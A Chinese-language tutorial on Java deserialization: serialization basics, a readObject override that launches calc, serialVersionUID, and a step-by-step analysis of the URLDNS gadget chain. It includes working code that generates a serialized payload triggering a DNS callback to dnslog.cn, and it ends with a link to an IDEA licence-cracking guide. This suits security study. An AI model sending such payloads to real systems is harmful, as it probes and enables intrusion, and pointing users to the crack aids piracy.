01、Java 安全-反序列化基础
Java 反序列化基础
1.ObjectOutputStream 与 ObjectInputStream类
1.1.ObjectOutputStream类
java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
- 该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会使任何状态序列化或反序列化,会抛出 NotSerializableException 。
- 该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态的,使用transient 关键字修饰。
示例:
Employee.java
public class Employee implements java.io.Serializable{ public String name; public String address; public transient int age; // transient瞬态修饰成员,不会被序列化 public void addressCheck() { System.out.println("Address check : " + name + " -- " + address); //此处省略tostring等方法 } }
SerializeDemo.java
public class SerializeDemo { public static void main(String[] args) throws IOException { Employee e = new Employee(); e.name = "zhangsan"; e.age = 20; e.address = "shenzhen"; // 1.创建序列化流 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); // 2.写出对象 outputStream.writeObject(e); // 3.释放资源 outputStream.close(); } }
将Employee对象写入到了employee.txt文件中
开头的 AC ED 00 05 为序列化内容的特征
1.2.ObjectInputStream类
如果能找到一个对象的class文件,我们可以进行反序列化操作,调用 ObjectInputStream 读取对象的方法:
public class DeserializeDemo { public static void main(String[] args) throws IOException, ClassNotFoundException { // 1.创建反序列化流 FileInputStream fileInputStream = new FileInputStream("ser.txt"); ObjectInputStream inputStream = new ObjectInputStream(fileInputStream); // 2.使用ObjectInputStream中的readObject读取一个对象 Object o = inputStream.readObject(); // 3.释放资源 inputStream.close(); System.out.println(o); } }
打印结果:
反序列化操作就是从二进制文件中提取对象
1.3.示例
1 package myTest; 2 3 import java.io.*; 4 5 class User implements Serializable { 6 public String username; 7 private int age; 8 // 不希望被序列化 9 private transient String sex; 10 11 // 构造函数 12 public User(String username, int age, String sex) { 13 this.username = username; 14 this.age = age; 15 this.sex = sex; 16 } 17 18 // toString方法 19 @Override 20 public String toString() { 21 return "User{" + 22 "username='" + username + '\'' + 23 ", age=" + age + 24 ", sex='" + sex + '\'' + 25 '}'; 26 } 27 } 28 29 30 public class myTest { 31 // 主函数 32 public static void main(String[] args) throws Exception { 33 User user = new User("moonsec", 20, "man"); 34 System.out.println(user); 35 // 序列化对象 36 // Serilize(user); 37 // 反序列化对象 38 Deserialize(); 39 } 40 41 // 序列化对象方法 42 public static void Serilize(Object obj) throws Exception { 43 // 创建序列化流 44 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); 45 // 将序列化对象写入ser.txt中 46 outputStream.writeObject(obj); 47 // 释放资源 48 outputStream.close(); 49 } 50 51 // 反序列化对象方法 52 public static void Deserialize() throws Exception { 53 // 创建反序列化流 54 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt")); 55 // 使用ObjectInputStream类中的readObject读取一个对象 56 Object obj = inputStream.readObject(); 57 // 释放资源 58 inputStream.close(); 59 System.out.println(obj); 60 } 61 }
2.反序列化漏洞的基本原理
在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞
1 package myTest; 2 3 import java.io.*; 4 5 class User implements Serializable { 6 public String username; 7 private int age; 8 // 不希望被序列化 9 private transient String sex; 10 11 // 构造函数 12 public User(String username, int age, String sex) { 13 this.username = username; 14 this.age = age; 15 this.sex = sex; 16 } 17 18 // 重新readObject方法 19 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { 20 in.defaultReadObject(); 21 Runtime.getRuntime().exec("calc"); 22 } 23 24 // toString方法 25 @Override 26 public String toString() { 27 return "User{" + 28 "username='" + username + '\'' + 29 ", age=" + age + 30 ", sex='" + sex + '\'' + 31 '}'; 32 } 33 } 34 35 36 public class myTest { 37 // 主函数 38 public static void main(String[] args) throws Exception { 39 User user = new User("moonsec", 20, "man"); 40 System.out.println(user); 41 // 序列化对象,这里不会执行 calc 命令 42 // Serilize(user); 43 // 反序列化对象,此时会调用 重写的 readObject 方法,执行 calc 命令 44 Deserialize(); 45 } 46 47 // 序列化对象方法 48 public static void Serilize(Object obj) throws Exception { 49 // 创建序列化流 50 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); 51 // 将序列化对象写入ser.txt中 52 outputStream.writeObject(obj); 53 // 释放资源 54 outputStream.close(); 55 } 56 57 // 反序列化对象方法 58 public static void Deserialize() throws Exception { 59 // 创建反序列化流 60 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt")); 61 // 使用ObjectInputStream类中的readObject读取一个对象 62 Object obj = inputStream.readObject(); 63 // 释放资源 64 inputStream.close(); 65 System.out.println(obj); 66 } 67 }
此处重写了readObject方法,执行了 Runtime.getRuntime().exec()
defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法
运行流程:
1. myObj对象序列化进object文件
2. 从object反序列化对象->调用readObject方法->执行 Runtime.getRuntime().exec("calc.exe");
3.java类中serialVersionUID的作用
验证版本是否一致:
serialVersionUID 适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的
serialVersionUID 来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的
serialVersionUID 与本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反序列化,否则会出现反序列化版本一致的异常,即是 InvalidCastException。
3.1.serialVersionUID有两种显示的生成方式
一是 默认的1L,比如:private static final long serialVersionUID = 1L;
二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:private static final
long serialVersionUID = xxxxL;
注意:显示声明serialVersionUID可以避免对象不一致,
设置自动生存uid
4.URLDNS 链
URLDNS 链是 java 原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。
HashMap 结合 URL 触发 DNS 检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了 readObject() 以及能否执行。之后再用各种 gadget 去尝试试 RCE。
HashMap 最早出现在 JDK 1.2 中,底层基于散列算法实现。而正是因为在 HashMap 中,Entry 的存放位置是根据 Key 的 Hash 值来计算,然后存放到数组中的。所以对于同一个 Key,在不同的 JVM 实现中计算得出的 Hash 值可能是不同的。因此,HashMap 实现了自己的 writeObject 和 readObject 方法。
4.1.调用链分析
因为是研究反序列化问题,所以我们来看一下它的readObject方法
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看 putVal 时候 key 进入了 hash 方法,跟进看 putVal 里 hash 函数
1 static final int hash(Object key) { 2 int h; 3 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); 4 }
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前 URLStreamHandler 的 hashCode 方法。
URL->hashCode
1 public synchronized int hashCode() { 2 if (hashCode != -1) 3 return hashCode; 4 5 hashCode = handler.hashCode(this); 6 return hashCode; 7 }
hashCode等于-1的时候调用handler中的hashCode
1 protected int hashCode(URL u) { 2 int h = 0; 3 4 // Generate the protocol part. 5 String protocol = u.getProtocol(); 6 if (protocol != null) 7 h += protocol.hashCode(); 8 9 // Generate the host part. 10 InetAddress addr = getHostAddress(u); 11 if (addr != null) { 12 h += addr.hashCode(); 13 } else { 14 String host = u.getHost(); 15 if (host != null) 16 h += host.toLowerCase().hashCode(); 17 } 18 19 // Generate the file part. 20 String file = u.getFile(); 21 if (file != null) 22 h += file.hashCode(); 23 24 // Generate the port part. 25 if (u.getPort() == -1) 26 h += getDefaultPort(); 27 else 28 h += u.getPort(); 29 30 // Generate the ref part. 31 String ref = u.getRef(); 32 if (ref != null) 33 h += ref.hashCode(); 34 return h; 35 }
主要是这一句话存在dns查询
InetAddress addr = getHostAddress(u);
1 protected synchronized InetAddress getHostAddress(URL u) { 2 if (u.hostAddress != null) 3 return u.hostAddress; 4 5 String host = u.getHost(); 6 if (host == null || host.equals("")) { 7 return null; 8 } else { 9 try { 10 u.hostAddress = InetAddress.getByName(host); 11 } catch (UnknownHostException ex) { 12 return null; 13 } catch (SecurityException se) { 14 return null; 15 } 16 } 17 return u.hostAddress; 18 }
最后触发这里 进行DNS查询。
也就是说我们现在思路是通过 hashmap 放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在 URLStreamHandler 的hashCode方法中首先进行了一个缓存判断即如果不等于 -1 会直接return。
1 if (hashCode != -1) 2 return hashCode;
因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。
正常的情况下hashmap->put的时候就会进行dns
1 import java.net.URL; 2 import java.util.HashMap; 3 4 public class DnsTest { 5 public static void main(String[] args) throws Exception { 6 HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>(); 7 URL url = new URL("http://hobeey.dnslog.cn"); 8 hashmap.put(url,222); 9 } 10 }
成功返回 ip:http://dnslog.cn/
整个调用链
HashMap->readObject() HashMap->hash() URL->hachCode() URLStreamHandler->hachCode() URLStreamHandler->getHostAddress() InetAddress.getByName()
4.2.反序列化利用
package myTest; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class dnsTest { public static void main(String[] args) throws Exception { // 正常的流程:hashMap -> readObject -> hash-URL.hashCode -> getHostAddress -> InetAddress.getByName(host); HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>(); URL url = new URL("http://oq1hz4.dnslog.cn"); // 通过反射,将 hashCode 的值修改为不是 -1 Class c = URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); fieldHashcode.set(url, 233); // 此时,由于修改了 hashCode 的值不为 -1,所以不会访问 url hashMap.put(url, 22); fieldHashcode.set(url, -1); // 在执行反序列化时,要去访问 url Serilize(hashMap); } public static void Serilize(Object obj) throws Exception { // 创建序列化流 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); // 将序列化对象写入ser.txt中 outputStream.writeObject(obj); // 释放资源 outputStream.close(); } }
进行反序列化
package myTest; import java.io.FileInputStream; import java.io.ObjectInputStream; public class Deserialize { public static void main(String[] args) throws Exception { Deserialize(); } public static void Deserialize() throws Exception { // 创建反序列化流 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt")); // 使用ObjectInputStream类中的readObject读取一个对象 Object obj = inputStream.readObject(); // 释放资源 inputStream.close(); } }
5.IDEA 安装破解
参考:https://www.cnblogs.com/beast-king/p/17856236.html